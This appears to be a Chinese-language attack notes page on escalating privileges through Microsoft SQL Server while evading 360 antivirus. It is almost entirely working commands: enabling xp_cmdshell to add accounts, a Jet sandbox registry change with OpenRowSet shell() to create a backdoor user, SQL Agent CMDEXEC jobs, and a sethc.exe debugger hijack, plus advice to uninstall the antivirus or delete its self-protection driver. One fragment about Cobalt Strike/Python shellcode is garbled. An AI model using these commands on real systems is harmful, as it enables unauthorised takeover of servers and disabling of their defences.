在安全防护下SQL SERVER提权的各种尝试

xp_cmdshell提权命令

启用xp_cmdshell:

EXEC sp_configure 'show advanced options', 1 --

RECONFIGURE WITH OVERRIDE --

EXEC sp_configure 'xp_cmdshell', 1 --

RECONFIGURE WITH OVERRIDE --

EXEC sp_configure   'show advanced options', 0 –

xp_cmdshell执行命令：

exec master..xp_cmdshell 'net user venus 123 /add'

当你在实际执行的时候会发现会话很长时间没有返回内存，说明某60已经把你拦截了。同时会返回错误代码5就是没有权限的意思。

xp_oacreate提权命令

沙盒提权

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',0;

Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net user sql$ Qwerasdf1234 /add")');

高版本报错不存在，

缺少Microsoft.Jet.OLEDB.4.0。2012R2/sqlserver2008

低版本2003/sqlserver2005。

打开配置

exec sp_configure 'show advanced options',1

reconfigure

exec sp_configure 'Ad Hoc Distributed Queries',1

reconfigure

开启后执行某60没有拦截

job提权

CS c/py

先启动agent服务

exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'

添加一个job用于执行cmd命令：

use msdb；

exec sp_delete_job NULL,'x'；

exec sp_add_job 'x'；

exec sp_add_jobstep NULL,'x',NULL,1,'CMDEXEC','cmd /c dir c: > c:a.txt'；

exec sp_add_jobserver NULL,'x',@@servername；

exec sp_start_job 'x'；

通过bulk查看a.txt结果：

drop table [clee]；

CREATE TABLE [clee](ResultTxt nvarchar(1024) NULL)；

BULK INSERT [clee] FROM 'c:a.txt' WITH (KEEPNULLS)；

insert into [clee] values ('g_over');

Alter Table [clee] add id int NOT NULL IDENTITY (1,1)；

select * from [clee]；

thon的shellcode 靶机内存2G

绕过了某60的拦截成功执行了命令，但是执行敏感操作如net的时候还是会被拦截。

镜像劫持

利用regwrite函数修改注册表，起到劫持作用。某60自保护模式无法使用。

EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:windowssystem32cmd.exe'

然后检查是否劫持成功

exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe','Debugger'

03这台某60是刚装的没开自保护模式所以不会拦截。

实际中如果要用到镜像劫持的功能就把某60卸载了，或者把360SelfProtection.sys给删除就可以改Debugger值了。